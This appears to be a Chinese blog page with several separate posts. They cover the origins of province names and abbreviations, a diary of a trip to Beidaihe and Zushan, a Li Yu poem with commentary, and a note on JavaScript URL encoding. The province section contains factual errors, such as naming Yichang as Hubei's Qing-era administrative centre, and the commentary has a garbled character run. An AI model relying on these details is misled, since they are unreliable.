  安庆府是春秋时皖国故地,别称为皖,故安徽简称“皖”。一说认为因境内最早的名山天桂山古称皖公山,故简称“皖”。
  11、浙江省(浙)
  浙江即江流盘回曲折之意。战国时浙江指今天的富春江、钱塘江和新安江。东汉将浙江分为浙东、浙西两个地区。唐以后这两个地区转化为政区名称。明初设浙江省。
  取全称中的“浙”字作为简称。一说认为因富春江、钱塘江和新安江古称浙江,故简称“浙”。
  12、福建省(闽)
  秦始皇统一中国后,在此设闽中郡。汉时称福建为闽越国。唐开元年间设福建节度使,管辖福、建、泉、漳、汀五州,福建是前两州的名字组成的。元设福建行省。明设福建省至今。辖区古为闽越族聚居地,故简称“闽”。一说因境内有闽江,故简称“闽”。
  13、江西省(赣)
  唐代设江南西道,简称江西道,江西由此得名。宋设江南西路。元设江西行省。后皆设江西省。
  因赣江纵贯全省,故简称“赣”。
  14、湖南省(湘)
  唐代在洞庭湖以南,包括湘姿二水流域设湖南节度使,始出现湖南一名。宋置荆湖南路,简称湖南路。元明两代设湖南道。清代设置湖南省。
  因湘江纵贯全省,故简称“湘”。
  15、湖北省(鄂)
  宋代自洞庭湖以北至荆山,西包沅澧二水流域设荆湖北路,简称湖北路,湖北一名产生。元明两代设湖北道。清代设置湖北省。
  清代湖北的行政中心宜昌,为隋以后鄂州的治所,故湖北简称“鄂”。
  16、广东省(粤)
  宋置广南东路,简称广东路,由此出现广东一名。元设广东道。明设广东省。
  辖区汉初为南粤之地,故简称“粤”。
  17、台湾省(台)
  台湾一名源于西拉雅族的台窝湾支族。台湾在秦汉时称“东鳀”。
  三国时称“东夷”。元时称“瑠求”。明万历年间正式在公文上使用台湾一名。清光绪11年(1885年)设台湾省。取全称中的“台”字作为简称。
  18、海南省(琼)
  因其位于南中国海域,境内最大岛屿又称海南岛,故名海南省。1988年建省。
  因秦以后称这一带为琼台、琼州或琼崖,故简称“琼”。
  19、甘肃省(甘或陇)
  甘肃一名始于11世纪西夏王朝设置的十二监军之一,治所在甘州(今张掖县),辖甘州、肃州(今酒泉)二州,取二州首字组成甘肃。元设甘肃行省,明代并入陕西省,清代恢复省治。
  取全称中的“甘”字作为简称。一说认为西夏时行政中心在甘州,故简称“甘”。
  由于甘、陕两省间有陇山,甘肃古时别称陇西,故又简称“陇”。
  20、陕西省(陕或秦)
  陕西一名,源于周代周、召二公“分陕而治”,今陕县张汴塬一带古称陕塬,当时的陕西就是陕塬以西的泾渭平原。唐安史之乱后设陕西节度使,陕西始转化为政区名称。宋设陕西路。元设陕西行省。清设陕西省。
  取全称中的“陕”字作为简称。
  又因辖区春秋时为秦国地,故又简称“秦”。
  21、四川省(川或蜀)
  辖区秦时设蜀郡。汉设益州部。唐设剑南道,又分剑南东川、剑南西川两节度使。宋设西川路和峡路,后将西川、峡二路分为益州、梓州、利州、夔州四路,合称“川峡四路”,简称“四川路”,四川一名由此产生。元时合并四路,设为四川行省。自此,四川省治沿用至今。
  取全称中的“川”字作为简称。
  又因辖区西部古为蜀国地,故又简称“蜀”。
  22、贵州省(贵或黔)
  宋代以前设矩州,因当地语音“贵”“矩”难分,故也写做贵州,元初正式命名为贵州。明设贵州布政使司。清设贵州省。
  取全称中的“贵”字作为简称。一说认为因境内有贵山,故简称“贵”。
  辖区东北部秦时属黔中郡,唐属黔中道,故又简称“黔”。一说认为境内有黔灵山、黔灵河,故简称“黔”。
  23、云南省(云或滇)
  因在云岭以南,故名云南。西汉时设云南县。三国蜀汉时设云南郡。元设云南行省。明设云南布政使司。清设云南省。取全称中的“云”字作为简称。
  又因行政中心昆明一带,属战国时滇国地,故又简称“滇”。一说因境内有滇池,故简称“滇”。
  一、地理位置命名:如河北、河南、山东、山西、湖北、湖南、西藏、海南、陕西、云南、江西、广东、广西等。
  二、古代官府名称或辖区名称命名:如安徽、甘肃、江苏、福建、四川等。
  三、赋予一定纪念意义的命名:如重庆、天津、新疆、宁夏、辽宁等。
  四、以境内中心城镇命名:如吉林、上海、北京等。
  五、以境内河湖名称命名:如浙江、青海、黑龙江等。
  六、与民族名称相关的命名:如内蒙古、台湾等。
  七、其他:如贵州、香港、澳门等。
  一、以历史名称命名:如沪、渝、桂、冀、晋、鲁、豫、鄂、粤、琼、秦、蜀等。
  二、以境内河湖山脉名称命名:如赣、湘、贵、浙、陇等。
  三、以全称中的一或多个字代替。
  四、综合上述几类情况命名:如闽、皖、黔、滇、黑、辽、青、藏、甘等。

北戴河-祖山 两日游

昨天上午8:00 从公司出发,12:20 到达北戴河附近的一个餐厅,彼时菜已备齐,都凉了,加上一路颠簸劳累,实在也吃不下什么,就简单吃了一下,基本12:50了,然后就上车去北戴河,大概用了20分钟的时间,13:00 多一点点了。

我们提前也了解到里面大概有哪些项目了;首先映入眼帘的是沙雕,确实还行;然后又看到了滑沙、滑草,这两个项目是比较烂的,就是从一个高高的土堆上往下滑,实在没啥意思,但是因为是免费的,所以玩的人还很多,所以就要排队,老长老长的队,我立马决定不玩这个了。

顺着欣赏沙雕的线路向里走,路边有“关羽夜读春秋”“中国龙”“炎黄二帝”等等;
还有一个用竹子(是已经没有了生命的竹子)插的迷宫,走了一遍,发现简单的要死;
再往前走,就是跑马场了,因为收费,就没有去尝试,说是跑马场,其实能看到的沙土跑到不到200米,可能里面还远着呢,但是乍一看去,没有一点让人喜悦的生机;
往前走吧,哎,原来这就是射箭啊,总面积不到100㎡,这个也是免费的,过去看看吧,好家伙,队排的也是老长,问服务员怎么个玩法,服务员爱理不理地用手指指桌子上的一个小本子,原来上面写着一些规则的,说是免费,但是你不小心触犯了他的规则,就不是免费了;在看看他们的弓和箭,根本就像我小时候自制的那种,还是往前走吧。
哦,前面就是海了,因为天气不太好,我根本也没想下水,不过这里也提一下,傍边有一排小木屋,里面是换衣服的,一次两元,比上厕所都贵,够黑的;还有,你游泳之后肯定要冲个澡吧,那个也在小木屋里,没人8元;这也都无所谓了,主要是海边的景观真是够烂的,允许下水的海岸线应该不超过200米,而且水也根本不是蓝色的,我只在河边走了走,15:20 左右我和杜松就开始离开海边,去看看其它有好玩的没有;

回到滑沙、滑草的地方,我们没有排队,意外地看到那个土堆后面是很大很大的高尔夫球场,大概这里能算得上级别的也就是这个高尔夫球场了;然后我俩就找了一颗柳树,坐下来休息,知道17:00,上车离开北戴河,我想我不会再来北戴河了;北戴河在我眼里曾经是非常向往的地方,现在却成了非常想尽快离开的地方。

我们先开车去吃饭,大概20分钟的时间,饭店的名字也给忘了,饭食还很丰盛,有:鱼、虾、蟹等等,因为中午没有吃好,很饿了,所以吃的也很快,吃完后,上车去住宿的地方,大概又是20分钟的时间,这天尽和20分钟打交道了。

住宿是在东北大学北戴河校区,虽然是个学校,但是里面已经看不到教室了,除了住宿楼就是餐厅,应该不再是学校了,晚上安排完房间之后,我们又一起穿过马路,去了对面的鸽子湾,那也是海边,那晚没有月亮,偶有几颗星星,接近于漆黑了,我们下了马路,顺着一条一尺宽的小路进入了一片草丛,有点像演恐怖片了,我们相互取笑着,也不知道前面会是什么,我们期望是鸽子湾,但是因为是第一次来,也不敢确定,我们足足走了500多米,终于听到了海的声音,然后踏上一段木板小路,就看到海了,虽然看不到海的浩瀚(因为还黑了),但是用脚亲近一下海水,也是那么的惬意;

回去之后,洗个澡,看会儿电视,23:23了,睡觉,第二天6:30就得起床了;

第二天6:00就醒了,可能别人家的床睡着不习惯吧,迷迷糊糊睡到6:30,起来洗漱一下,第一个感到餐厅用早餐;早餐是咸菜+馒头+粥+一个鸡蛋;吃完后到校园里转了一圈,一点也不美丽的校园。

8:00 我们离开这个学校,赶往祖山,大概一个半小时的时间,我睡了一路,9:30到了祖山山脚,这是一个很大的石头山,看到这片大山,才感觉我原来爬的山根本就不算山;

我们没有从山脚开始爬,这里也挺特殊,我们先坐车,大概不到10分钟的时间,车把我们拉到一个可以看到泉水的地方,我们从这里开始爬的,我曾经爬过的山都是没有水的,我还以为这个的水也是用水泵抽到上面然后再流下来的,听导游解说才知道这里的水确实是泉水,非常清澈甘甜的泉水,很凉很凉的;这时大概9:40了,然后我们顺着一条小路向上爬,路大概是故意顺着泉水修建的,一路都能听到泉水哗哗的声响,里面绿树成荫,低头是哗哗的泉水,抬头是鬼斧神工的高山,简直就是人间仙境,上上下下,蜿蜒曲折,移步易景,空气新鲜,凉气袭人,我用相机不断地拍摄,可惜,拍得了精致,但是拍不走这里的新鲜空气,拍不走这里的阴凉;以后又机会还会再来的。

中午12:10,准时回到山脚吃饭,13:10,开始返回,17:10,正好4个小时的时间,回到了公司,因为很累了,我睡了一路,一点晕车的感觉都没有;回到公司,然后就写下了这篇游记,现在19:20了,该吃晚饭了。

自是人生长恨水长东

乌夜啼

【南唐】李煜

林花谢了春红,
太匆匆,
无奈朝来寒雨晚来风。

胭脂泪,
相留醉,
几时重,
自是人生长恨水长东。

【注释】

  ①此调原为唐教坊曲,又名《相见欢》、《秋夜月》、《上西楼》。三十六字,上片平韵,下片两仄韵两平韵。
  ②谢:凋谢。
  ③胭脂泪:指女子的眼泪。女子脸上搽有胭脂泪水流经脸颊时沾上胭脂的红色,故云。
  ④几时重:何时再度相会。

【简析】

  此词将人生失意的无限怅恨寄寓在对暮春残景的描绘中,是即景抒情的典范之作。起句“ 林花谢了春红 ”,即托出作者的伤春惜花之情;而续以“太匆匆”,则使这种伤春惜花之情得以强化。狼藉残红,春去匆匆;而作者的生命之春也早已匆匆而去,只留下伤残的春心和破碎的春梦。因此,“太匆匆”的感慨,固然是为林花凋谢之速而发,但其中不也糅合了人生苦短、来日无多的喟叹,包蕴了作者对生命流程的理性思考?“无奈朝来寒雨晚来风”一句点出林花匆匆谢去的原因是风雨侵龚,而作者生命之春的早逝不也是因为过多地栉风沐雨?所以,此句同样既是叹花,亦是自叹。“无奈”云云,充满不甘听凭外力摧残而又自恨无力改变生态环境的感怆。换头“胭脂泪”三句,转以拟人化的笔墨,表现作者与林花之间的依依惜别之情。这里,一边是生逢末世,运交华盖的失意人,一边是盛时不再、红消香断的解语花,二者恍然相对,不胜缱绻。“胭脂泪”,遥按上片“林花谢了春红”句,是从杜甫《曲江对雨》诗“林花著雨胭脂湿”变化而来。林花为风侵欺,红^叟鲛肖(左应加鱼旁),状如胭脂。“胭脂泪”者,此之谓也。但花本无泪,实际上是惯于“以我观物”的作者移情于彼,使之人格化 —— 作者身历世变,泣血无泪,不亦色若胭脂?“相留醉”,一作“留人醉”,花固怜人,人亦惜花;泪眼相向之际,究竟是人留花抑或花留人,已惝恍难分。着一“醉”字,写出彼此如醉如痴、眷变难舍的情态,极为传神,而“几时重”则吁出了人与花共同的希冀和自知希冀无法实现的怅惘与迷茫。 结句“自是人生长恨水长东”, 一气呵成益见悲慨。“人生长恨”似乎不仅仅是抒写一已的失意情怀,而涵盖了整个人类所共有的生命的缺憾,是一种融汇和浓缩了无数痛苦的人生体验的浩叹。

 

摘自:http://zhidao.baidu.com/question/10438435.html

js提交的数据的编码

js 提交的数据的编码都是utf-8的吗?

这个问题问的不太对,我们使用js的encodeURIComponent()函数或者escape()函数编码对数据进行编码,都是按照utf-8 来编码的,所以js提交后的数据才是utf-8的,和js没有必然联系。

关于url的编码?

如果url里面含有中文字符,则浏览器会按照设置对这些字符做编码。默认utf-8编码,可以设置为ansi编码。

IE中: 选项=》高级=》总是以utf-8编码发送url

Firefox: 地址栏输入“about:config”,选项“network.standard-url.encode-utf8”,即可改变发送URL的编码方式。

相关文章:http://www.cnlei.com/blog/article.asp?id=453